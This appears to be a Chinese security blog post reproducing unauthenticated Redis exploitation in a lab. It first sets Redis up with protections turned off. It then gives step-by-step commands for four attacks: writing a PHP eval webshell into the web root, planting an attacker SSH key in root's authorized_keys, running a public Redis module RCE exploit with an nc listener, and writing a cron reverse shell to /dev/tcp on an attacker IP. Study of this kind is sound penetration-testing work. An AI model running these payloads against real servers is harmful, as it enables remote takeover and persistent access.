Redis未授权访问漏洞总结

前言

在安装redis的时候建议采用wget方式安装,本人通过apt安装的时候,在设置完各种东西,save的时候总报错,为此折腾了一上午。

redis安装

ubuntu安装redis

 apt-get install gcc && make
 wget http://download.redis.io/releases/redis-4.0.9.tar.gz
 tar -zxvf  redis-4.0.9.tar.gz
 cd redis-4.0.9
 make

123
在这里插入图片描述
编译之后,进入src目录,将redis-server和redis-cli拷贝到/usr/bin目录下

 cd src/
 cp redis-server /usr/bin
 cp redis-cli /usr/bin
 cd ../
 ls
 cp redis.conf /etc/

编辑/etc/redis.conf文件

 将 bind 127.0.0.1 修改为bind 0.0.0.0;允许任意主机连接
 将 protected-mode yes 改为no;关闭远程连接保护
 将daemonize no 改为yes;允许后台运行

运行redis服务

redis-server  /etc/redis.conf 

查看redis是否运行

ps -aux | grep 6379

在这里插入图片描述

windows下载redis客户端

下载地址:https://github.com/microsoftarchive/redis/releases
在这里插入图片描述
解压Redis-x64-3.2.100.zip,进入目录,按住shift,右击空白处,选择打开powershell窗口
在这里插入图片描述
运行redis-cli.exe,连接192.168.1.115的redis

.\redis-cli.exe -h 192.168.1.115

在这里插入图片描述

未授权访问-webshell写入

前提条件:知道网站的绝对路径。
任意文件写入的时候,服务器必须拥有该目录,否则会报错,提示:(error) ERR Changing directory: No such file or directory

命令

config set dir /var/www/html     设置web目录
config set dbfilename webshell.php  设置备份文件名
set shell "<?php @eval($_POST['shell']);?>"  设置值
save  保存

在这里插入图片描述
进入到ubuntu /var/www/html目录中,查看文件是否写入
在这里插入图片描述

ssh免密码登录

kali为攻击机
ubuntu为受害机
windows连接ubuntu redis数据库

在kali中执行下面命令,生成密钥,不用输入任何东西,一直回车,直到密钥生成

ssh-keygen -t rsa

在这里插入图片描述

进入到/root/.ssh/目录,查看id_rsa.pub文件,并复制内容
在这里插入图片描述
进入到ubuntu中,输入命令ssh-keygen,也是一直回车,直到密钥生成,会自动在/root/.ssh/目录中生成id_rsa id_rsa.pub俩个文件,默认是不存在.ssh目录的。
在这里插入图片描述
在windows redis-cli.exe中执行以下命令,set x 的内容为kali中id_rsa.pub的值

config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4pxdRRXwD8A+7WlfB4plgmlrMjvLlrPXrW6kmm03Nlnifk/Pvi76gu2/enOLiHmIG8g8AFhv8G436KZy91c3K/Kag2fpNXBK3Nv981PEFE0yqNoGENMSyef9sRhX1KDzgRvSHH2BRF6WBW/G1r9ZlXcMuIyciBsOva7f1eUXVvd20o5Lk4oMFFbD+ELzhdgjYBL0aeOu9uLfKoRtgxPAhYC2JRPtp/CPkzCbMxW54vUWyoWi9i4raaUOsFriu/V6f51Pzs+6hvsy+cExwJvseqsFGHXHy3b10MbTxhlsTAxyCQ53CVV7PVyh1oCcuOOZYfOVLXbxZsXJmBV4w0fX3wAUZshrfzbEmKt04cU05ZS453pjL2h/l+Kpt11zHN8B/0vwhTv8w8pzKV5ZrZU+vn6zuV36RBcRT35xHWcuB6QvYYX1nzP8DE3FBjSftJi+ifRZSBf8rp9iJ9VbIyV0aXaUKZMPDNsURsmqE1yJy+OH+vzoddU3TlSbksg6dj28= root@kali\n\n\n"
save

在这里插入图片描述

在kali中执行下面命令,输入yes,成功连接到目标主机

ssh -i id_rsa root@192.168.1.115

在这里插入图片描述

redis 4.0~5.0 rce漏洞

在kali中下载exp

git clone https://github.com/Ridter/redis-rce.git
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

在这里插入图片描述
编译so文件

cd RedisModules-ExecuteCommand/
ls 
make

在这里插入图片描述
复制module.so到redis-rce目录下

cp module.so /var/local/redis-rce/

在这里插入图片描述
在kali中使用nc监听本地的1234端口

nc -lnvp 1234

在这里插入图片描述
运行下面命令

cd redis-rce/
python3 redis-rce.py -r 192.168.1.115  -L 192.168.1.110 -f module.so

在这里插入图片描述
在这里插入图片描述

bash反弹

在windows中redis-cli中执行

.\redis-cli.exe -h 192.168.1.115
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.110/6666 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

在这里插入图片描述
在kali中使用nc进行监听

nc -lnvp 6666

这里反弹shell失败了,原因是ubuntu下无法反弹,条件是centos反弹
这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败

msf下利用模块

auxiliary/scanner/redis/file_upload    normal     Redis File Upload
auxiliary/scanner/redis/redis_login    normal     Redis Login Utility
auxiliary/scanner/redis/redis_server   normal     Redis Command Execute Scanner

参考资料

redis漏洞利用
Redis未授权访问漏洞复现的(三种方式)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值